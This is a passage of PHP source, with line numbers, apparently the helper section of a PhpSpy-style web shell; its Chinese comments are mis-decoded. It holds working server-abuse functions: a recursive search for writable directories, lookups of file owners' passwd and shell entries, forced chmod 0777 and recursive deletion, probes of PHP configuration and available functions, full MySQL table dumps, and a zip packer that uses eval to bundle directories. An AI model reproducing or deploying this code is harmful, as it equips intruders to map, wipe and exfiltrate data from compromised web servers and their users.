1503 $group['read'] = ($mode & 00040) ? 'r' : '-';
1504 $group['write'] = ($mode & 00020) ? 'w' : '-';
1505 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1506 $world['read'] = ($mode & 00004) ? 'r' : '-';
1507 $world['write'] = ($mode & 00002) ? 'w' : '-';
1508 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1509
1510 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1511 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1512 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1513
1514 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
1515}
1516
1517function getUser($filepath) {
1518 if (function_exists('posix_getpwuid')) {
1519 $array = @posix_getpwuid(@fileowner($filepath));
1520 if ($array && is_array($array)) {
1521 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
1522 }
1523 }
1524 return '';
1525}
1526
1527// ɾ³ýĿ¼
1528function deltree($deldir) {
1529 $mydir=@dir($deldir);
1530 while($file=$mydir->read()) {
1531 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
1532 @chmod($deldir.'/'.$file,0777);
1533 deltree($deldir.'/'.$file);
1534 }
1535 if (is_file($deldir.'/'.$file)) {
1536 @chmod($deldir.'/'.$file,0777);
1537 @unlink($deldir.'/'.$file);
1538 }
1539 }
1540 $mydir->close();
1541 @chmod($deldir,0777);
1542 return @rmdir($deldir) ? 1 : 0;
1543}
1544
1545// ±í¸ñÐмäµÄ±³¾°É«Ìæ»»
1546function bg() {
1547 global $bgc;
1548 return ($bgc++%2==0) ? 'alt1' : 'alt2';
1549}
1550
1551// »ñÈ¡µ±Ç°µÄÎļþϵͳ·¾¶
1552function getPath($scriptpath, $nowpath) {
1553 if ($nowpath == '.') {
1554 $nowpath = $scriptpath;
1555 }
1556 $nowpath = str_replace('\\', '/', $nowpath);
1557 $nowpath = str_replace('//', '/', $nowpath);
1558 if (substr($nowpath, -1) != '/') {
1559 $nowpath = $nowpath.'/';
1560 }
1561 return $nowpath;
1562}
1563
1564// »ñÈ¡µ±Ç°Ä¿Â¼µÄÉϼ¶Ä¿Â¼
1565function getUpPath($nowpath) {
1566 $pathdb = explode('/', $nowpath);
1567 $num = count($pathdb);
1568 if ($num > 2) {
1569 unset($pathdb[$num-1],$pathdb[$num-2]);
1570 }
1571 $uppath = implode('/', $pathdb).'/';
1572 $uppath = str_replace('//', '/', $uppath);
1573 return $uppath;
1574}
1575
1576// ¼ì²éPHPÅäÖòÎÊý
1577function getcfg($varname) {
1578 $result = get_cfg_var($varname);
1579 if ($result == 0) {
1580 return 'No';
1581 } elseif ($result == 1) {
1582 return 'Yes';
1583 } else {
1584 return $result;
1585 }
1586}
1587
1588// ¼ì²éº¯ÊýÇé¿ö
1589function getfun($funName) {
1590 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1591}
1592
1593function GetList($dir){
1594 global $dirdata,$j,$nowpath;
1595 !$j && $j=1;
1596 if ($dh = opendir($dir)) {
1597 while ($file = readdir($dh)) {
1598 $f=str_replace('//','/',$dir.'/'.$file);
1599 if($file!='.' && $file!='..' && is_dir($f)){
1600 if (is_writable($f)) {
1601 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1602 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1603 $dirdata[$j]['dirchmod']=getChmod($f);
1604 $dirdata[$j]['dirperm']=getPerms($f);
1605 $dirdata[$j]['dirlink']=ue($dir);
1606 $dirdata[$j]['server_link']=$f;
1607 $dirdata[$j]['client_link']=ue($f);
1608 $j++;
1609 }
1610 GetList($f);
1611 }
1612 }
1613 closedir($dh);
1614 clearstatcache();
1615 return $dirdata;
1616 } else {
1617 return array();
1618 }
1619}
1620
1621function qy($sql) {
1622 //echo $sql.'<br>';
1623 $res = $error = '';
1624 if(!$res = @mysql_query($sql)) {
1625 return 0;
1626 } else if(is_resource($res)) {
1627 return 1;
1628 } else {
1629 return 2;
1630 }
1631 return 0;
1632}
1633
1634function q($sql) {
1635 return @mysql_query($sql);
1636}
1637
1638function fr($qy){
1639 mysql_free_result($qy);
1640}
1641
1642function sizecount($size) {
1643 if($size > 1073741824) {
1644 $size = round($size / 1073741824 * 100) / 100 . ' G';
1645 } elseif($size > 1048576) {
1646 $size = round($size / 1048576 * 100) / 100 . ' M';
1647 } elseif($size > 1024) {
1648 $size = round($size / 1024 * 100) / 100 . ' K';
1649 } else {
1650 $size = $size . ' B';
1651 }
1652 return $size;
1653}
1654
1655// ѹËõ´ò°üÀà
1656class PHPZip{
1657 var $out='';
1658 function PHPZip($dir) {
1659 if (@function_exists('gzcompress')) {
1660 $curdir = getcwd();
1661 if (is_array($dir)) $filelist = $dir;
1662 else{
1663 $filelist=$this -> GetFileList($dir);//ÎļþÁбí
1664 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
1665 }
1666 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
1667 else chdir($curdir);
1668 if (count($filelist)>0){
1669 foreach($filelist as $filename){
1670 if (is_file($filename)){
1671 $fd = fopen ($filename, 'r');
1672 $content = @fread ($fd, filesize($filename));
1673 fclose ($fd);
1674 if (is_array($dir)) $filename = basename($filename);
1675 $this -> addFile($content, $filename);
1676 }
1677 }
1678 $this->out = $this -> file();
1679 chdir($curdir);
1680 }
1681 return 1;
1682 }
1683 else return 0;
1684 }
1685
1686 // »ñµÃÖ¸¶¨Ä¿Â¼ÎļþÁбí
1687 function GetFileList($dir){
1688 static $a;
1689 if (is_dir($dir)) {
1690 if ($dh = opendir($dir)) {
1691 while ($file = readdir($dh)) {
1692 if($file!='.' && $file!='..'){
1693 $f=$dir .'/'. $file;
1694 if(is_dir($f)) $this->GetFileList($f);
1695 $a[]=$f;
1696 }
1697 }
1698 closedir($dh);
1699 }
1700 }
1701 return $a;
1702 }
1703
1704 var $datasec = array();
1705 var $ctrl_dir = array();
1706 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
1707 var $old_offset = 0;
1708
1709 function unix2DosTime($unixtime = 0) {
1710 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
1711 if ($timearray['year'] < 1980) {
1712 $timearray['year'] = 1980;
1713 $timearray['mon'] = 1;
1714 $timearray['mday'] = 1;
1715 $timearray['hours'] = 0;
1716 $timearray['minutes'] = 0;
1717 $timearray['seconds'] = 0;
1718 } // end if
1719 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
1720 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
1721 }
1722
1723 function addFile($data, $name, $time = 0) {
1724 $name = str_replace('\\', '/', $name);
1725
1726 $dtime = dechex($this->unix2DosTime($time));
1727 $hexdtime = '\x' . $dtime[6] . $dtime[7]
1728 . '\x' . $dtime[4] . $dtime[5]
1729 . '\x' . $dtime[2] . $dtime[3]
1730 . '\x' . $dtime[0] . $dtime[1];
1731 eval('$hexdtime = "' . $hexdtime . '";');
1732 $fr = "\x50\x4b\x03\x04";
1733 $fr .= "\x14\x00";
1734 $fr .= "\x00\x00";
1735 $fr .= "\x08\x00";
1736 $fr .= $hexdtime;
1737
1738 $unc_len = strlen($data);
1739 $crc = crc32($data);
1740 $zdata = gzcompress($data);
1741 $c_len = strlen($zdata);
1742 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
1743 $fr .= pack('V', $crc);
1744 $fr .= pack('V', $c_len);
1745 $fr .= pack('V', $unc_len);
1746 $fr .= pack('v', strlen($name));
1747 $fr .= pack('v', 0);
1748 $fr .= $name;
1749 $fr .= $zdata;
1750 $fr .= pack('V', $crc);
1751 $fr .= pack('V', $c_len);
1752 $fr .= pack('V', $unc_len);
1753
1754 $this -> datasec[] = $fr;
1755 $new_offset = strlen(implode('', $this->datasec));
1756
1757 $cdrec = "\x50\x4b\x01\x02";
1758 $cdrec .= "\x00\x00";
1759 $cdrec .= "\x14\x00";
1760 $cdrec .= "\x00\x00";
1761 $cdrec .= "\x08\x00";
1762 $cdrec .= $hexdtime;
1763 $cdrec .= pack('V', $crc);
1764 $cdrec .= pack('V', $c_len);
1765 $cdrec .= pack('V', $unc_len);
1766 $cdrec .= pack('v', strlen($name) );
1767 $cdrec .= pack('v', 0 );
1768 $cdrec .= pack('v', 0 );
1769 $cdrec .= pack('v', 0 );
1770 $cdrec .= pack('v', 0 );
1771 $cdrec .= pack('V', 32 );
1772 $cdrec .= pack('V', $this -> old_offset );
1773 $this -> old_offset = $new_offset;
1774 $cdrec .= $name;
1775
1776 $this -> ctrl_dir[] = $cdrec;
1777 }
1778
1779 function file() {
1780 $data = implode('', $this -> datasec);
1781 $ctrldir = implode('', $this -> ctrl_dir);
1782 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
1783 }
1784}
1785
1786// ±¸·ÝÊý¾Ý¿â
1787function sqldumptable($table, $fp=0) {
1788 $tabledump = "DROP TABLE IF EXISTS $table;\n";
1789 $tabledump .= "CREATE TABLE $table (\n";
1790
1791 $firstfield=1;
1792
1793 $fields = q("SHOW FIELDS FROM $table");
1794 while ($field = mysql_fetch_array($fields)) {
1795 if (!$firstfield) {
1796 $tabledump .= ",\n";
1797 } else {
1798 $firstfield=0;
1799 }
1800 $tabledump .= " $field[Field] $field[Type]";
1801 if (!empty($field["Default"])) {
1802 $tabledump .= " DEFAULT '$field[Default]'";
1803 }
1804 if ($field['Null'] != "YES") {
1805 $tabledump .= " NOT NULL";
1806 }
1807 if ($field['Extra'] != "") {
1808 $tabledump .= " $field[Extra]";
1809 }
1810 }
1811 fr($fields);
1812
1813 $keys = q("SHOW KEYS FROM $table");
1814 while ($key = mysql_fetch_array($keys)) {
1815 $kname=$key['Key_name'];
1816 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
1817 $kname="UNIQUE|$kname";
1818 }
1819 if(!is_array($index[$kname])) {
1820 $index[$kname] = array();
1821 }
1822 $index[$kname][] = $key['Column_name'];
1823 }
1824 fr($keys);
1825
1826 while(list($kname, $columns) = @each($index)) {
1827 $tabledump .= ",\n";
1828 $colnames=implode($columns,",");
1829
1830 if ($kname == "PRIMARY") {
1831 $tabledump .= " PRIMARY KEY ($colnames)";
1832 } else {
1833 if (substr($kname,0,6) == "UNIQUE") {
1834 $kname=substr($kname,7);
1835 }
1836 $tabledump .= " KEY $kname ($colnames)";
1837 }
1838 }
1839
1840 $tabledump .= "\n);\n\n";
1841 if ($fp) {
1842 fwrite($fp,$tabledump);
1843 } else {
1844 echo $tabledump;
1845 }
1846
1847 $rows = q("SELECT * FROM $table");
1848 $numfields = mysql_num_fields($rows);
1849 while ($row = mysql_fetch_array($rows)) {
1850 $tabledump = "INSERT INTO $table VALUES(";
1851
1852 $fieldcounter=-1;
1853 $firstfield=1;
1854 while (++$fieldcounter<$numfields) {
1855 if (!$firstfield) {
1856 $tabledump.=", ";
1857 } else {
1858 $firstfield=0;
1859 }
1860
1861 if (!isset($row[$fieldcounter])) {
1862 $tabledump .= "NULL";
1863 } else {
1864 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
1865 }
1866 }
1867
1868 $tabledump .= ");\n";
1869
1870 if ($fp) {
1871 fwrite($fp,$tabledump);
1872 } else {
1873 echo $tabledump;
1874 }
1875 }
1876 fr($rows);
1877 if ($fp) {
1878 fwrite($fp,"\n");
1879 } else {
1880 echo "\n";
1881 }
1882}
1883
1884function ue($str){
1885 return urlencode($str);
1886}
1887
1888function p($str){
1889 echo $str."\n";
1890}
1891
1892function tbhead() {
1893 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
1894}
1895function tbfoot(){
1896 p('</table>');
1897}
1898
1899function makehide($name,$value=''){
1900 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
1901}
1902
1903function makeinput($arg = array()){
1904 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
1905 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
1906 !$arg['type'] && $arg['type'] = 'text';
1907 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1908 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
1909 if ($arg['newline']) {
1910 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
1911 } else {
1912 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
1913 }
1914}
1915
1916function makeselect($arg = array()){
1917 if ($arg['onchange']) {
1918 $onchange = 'onchange="'.$arg['onchange'].'"';
1919 }
1920 $arg['title'] = $arg['title'] ? $arg['title'] : '';
1921 if ($arg['newline']) p('<p>');
1922 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
1923 if (is_array($arg['option'])) {
1924 foreach ($arg['option'] as $key=>$value) {
1925 if ($arg['selected']==$key) {
1926 p("<option value=\"$key\" selected>$value</option>");
1927 } else {
1928 p("<option value=\"$key\">$value</option>");
1929 }
1930 }
1931 }
1932 p("</select>");
1933 if ($arg['newline']) p('</p>');
1934}
1935function formhead($arg = array()) {
1936 !$arg['method'] && $arg['method'] = 'post';
1937 !$arg['action'] && $arg['action'] = $self;
1938 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
1939 !$arg['name'] && $arg['name'] = 'form1';
1940 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
1941 if ($arg['title']) {
1942 p('<h2>'.$arg['title'].' »</h2>');
1943 }
1944}
1945
1946function maketext($arg = array()){
1947 !$arg['cols'] && $arg['cols'] = 100;
1948 !$arg['rows'] && $arg['rows'] = 25;
1949 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1950 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
1951}
1952
1953function formfooter($name = ''){
1954 !$name && $name = 'submit';
1955 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
1956 p('</form>');
1957}
1958
1959function formfoot(){
1960 p('</form>');
1961}
1962
1963// µ÷ÊÔº¯Êý
1964function pr($a) {
1965 echo '<pre>';
1966 print_r($a);
1967 echo '</pre>';
1968}
1969
1970?><?